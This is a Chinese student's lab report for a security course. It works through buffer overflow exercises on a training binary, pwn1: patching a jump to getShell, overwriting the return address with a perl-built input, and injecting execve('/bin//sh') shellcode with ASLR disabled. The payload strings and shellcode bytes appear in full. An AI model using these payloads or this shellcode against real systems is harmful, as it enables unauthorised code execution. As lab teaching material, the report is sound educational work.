20211908 孟向前 2021-2022-2 《网络攻防实践》第九周作业
实践九 软件安全攻防--缓冲区溢出和shellcode
1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
2、实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
3、实践内容
缓冲区溢出的基本概念
缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。理想情况下,程序应检查每个输入缓冲区的数据长度,并不允许输入超出缓冲区本身分配的空间容量,但是大量程序总是假设数据长度是与所分配的存储空间是相匹配的,因而很容易产生缓冲区溢出漏洞。
缓冲区溢出漏洞通常多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数的引用位置,由于这些函数并不检查内存越界问题,而程序员一般也没有足够的安全编程意识、经验与技巧,对复制的目标缓冲区普遍没有进行严格的边界安全保护,在这种情况下,缓冲区溢出攻击的流行就不足为怪了。
细究缓冲区溢出攻击发生的根本原因,可以认为是现代计算机系统的基础架构―—冯·诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。这一缺陷使得攻击者可以将输入的数据,通过利用缓冲区溢出漏洞,覆盖修改程序在内存空间中与数据区相邻存储的关键指令,从而达到使程序执行恶意注入指令的攻击目的。
编译器与调试器的使用
使用C/C++等高级编程语言编写的源码,需要通过编译器(Compiler)和连接器(Linker)才能生成可直接在操作系统平台上运行的可执行程序代码。而调试器(Debugger)则是程序开发人员在运行时刻调试与分析程序行为的基本工具。
对于最常使用的C/C++编程语言,最著名的编译与连接器是GCC,开源的GNU AnsiC/C++编译器,GCC最基本的用法是执行“gcc -c test.c”命令进行源码编译,生成test.o,然后执行“gcc -o test test.o”进行连接,生成test可执行程序,可以使用“gcc test.c -o test"同时完成编译和连接过程。对于处理多个源码文件、包含头文件、引用库文件等多种情况,程序开发人员通常编写或自动生成Makefile,来控制GCC的编译和连接过程。
汇编语言基础知识
汇编语言,尤其是IA32 (Intel 32位)架构下的汇编语言,是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。这是因为,对于软件安全漏洞分析而言,一般情况下我们无法得到被分析软件的源代码,因此只能在反汇编技术的支持下,通过阅读和理解汇编代码,来对软件安全漏洞的机理进行分析;其次,在编写的渗透攻击代码中,也公包含以机器指令形式存在的Shellcode,如何理解与编写Shellcode也需要汇编语言的知识和技能;最后,在调试渗透攻击代码对软件安全漏洞的利用过程时,我们在调试器中一般也只能在汇编代码层次上分析攻击过程。
进程内存管理
最主要的软件安全漏洞类型是内存安全违规类,在本章中将详细介绍的缓冲区溢出也属于这一类型。而内存安全违规类漏洞的利用是对内存中敏感数据的“改写”或者“溢出”,因而了解进程内存管理机制是深入理解软件安全漏洞及攻击机理所必须掌握的内容之一。
函数调用过程
栈结构与函数调用过程的底层细节是理解栈溢出攻击的重要基础,因为栈溢出攻击就是针对函数调用过程中返回地址在栈中的存储位置,进行缓冲区溢出,从而改写返回地址,达到让处理器指令寄存器跳转至攻击者指定位置执行恶意代码的目的。
缓冲区溢出攻击原理
缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态,栈溢出是指存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改栈上的敏感信息(通常是返回地址),从而导致程序流程的改变。堆溢出则是存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题,内核溢出漏洞存在于一些内核模块或程序中,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的。
执行什么代码指令来达到攻击目的?在程序控制权移交至攻击者注入的指令后,那么这段指令完成何种功能,如何编写?这段代码被称为攻击的payload,通常会为攻击者给出一个远程的Shell访问,因此也被称为Shellcode。
4、实践过程
一、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1、从云班课上下载文件pwn1.zip并解压,将解压得到的pwn1拖到虚拟机Kali的实验文件夹下。
2、输入命令 objdump -d pwn1 | more 进行反汇编:
3、按回车键,可以查看到大量相关函数,如 gets,puts,getshell 等。
main函数中的call指令,将函数切换到foo函数,foo函数中没有切换到getShell函数的指令。从上图可以看出,call指令的机器码是e8,下一条指令的地址是80484ba,根据小字节优先,计算80484ba+ffffffd7=8048491,可知,若要切换到getShell函数,应该修改ffffffd7,计算804847d-80484ba=ffffffc3,应把d7修改为c3。
4、将pwn1复制,重新命名为pwn1-20211908,
5、用vim编辑器打开文件pwn1-20211908:
可以看到是乱码,离开编辑模式,输入命令:%!xxd,切换到16进制。
输入/d7,查找d7,下图所示,这就是我们要修改的位置
将d7修改为c3
输入命令:%! xxd -r,转换回原格式,
输入命令:wq,保存退出。
再次对文件pwn1-20211908进行反汇编,
与之前main函数中call指令调用foo函数相比,修改后call指令切换为调用getshell函数。
运行并对比修改前的文件pwn1和修改后的文件pwn1-20211908:
实验成功。
二、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
对文件pwn1进行反汇编,找到foo函数,
由上图可看到,程序为函数预留了“0x1c”大小的空间(28个字节的缓冲区)。main函数中EIP寄存器返回地址为80484ba。EBP为4个字节,EIP为4个字节,应构建一个至少36字节的字符串。
接下来判断是否能将EIP寄存器覆盖:
输入命令gdb pwn1,
输入命令r运行
输入字符串1111111122222222333333334444444412345678
输入命令info r查看寄存器的值
getShell首地址为804847d,需要使用这个地址作为字符串的第33到36字节覆盖寄存器EIP。
输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
输入命令(cat input; cat) | ./pwn1
如上图所示,成功启动Shell,寄存器EIP中的返回地址覆盖成功。
三、注入一个自己制作的shellcode并运行这段shellcode。
安装prelink
设置堆栈可执行,查看地址随机化的状态,关闭地址随机化。
使用的shellcode为:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
构造一个长度为36个字节的InputShellcode文件,通过gdb调试查找地址。
输入命令:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > InputShellcode
输入命令(cat InputShellcode;cat) | ./pwn1 将InputShellcode注入pwn1。
构造要注入shellcode为:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"。
输入指令"perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode。
打开一个新的终端,用gdb调试,输入命令ps -ef | grep pwn1,如下图可知pwn1进程id为24715。
打开gdb调试。
输入attach 24715查看pwn1进程,输入disassemble foo,此时程序在80484ae处停止
输入break *0x080484ae设置断点。
在上一个终端按Enter键,再回到第二个终端,输入info r esp,查看栈顶指针的位置在0xffffd11c。
输入x/16x 0xffffd11c,可以看到值01020304的位置在0xffffd11c。
0xffffd11c +0x00000004=0xffffd120
重新构造InputShellcode,输入命令perl -e 'print "A" x 32; print"\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > InputShellcode。
输入命令(cat input_shellcode;cat) | ./pwn1将InputShellcode注入pwn1。
攻击完成。
5、学习中遇到的问题及解决
问题:刚开始安装prelink不成功。
解决:安装最新Kali虚拟机,更换安装源。
6、学习感想和体会
学习了缓冲区溢出和shellcode的相关知识,练习使用了gdb、objdump等工具,查阅了许多相关博客和文档,对缓冲区溢出和攻击有了更深入的理解。
参考文献
网络攻防技术与实践——诸葛建伟
汇编语言——王爽
Oday安全:软件漏洞分析技术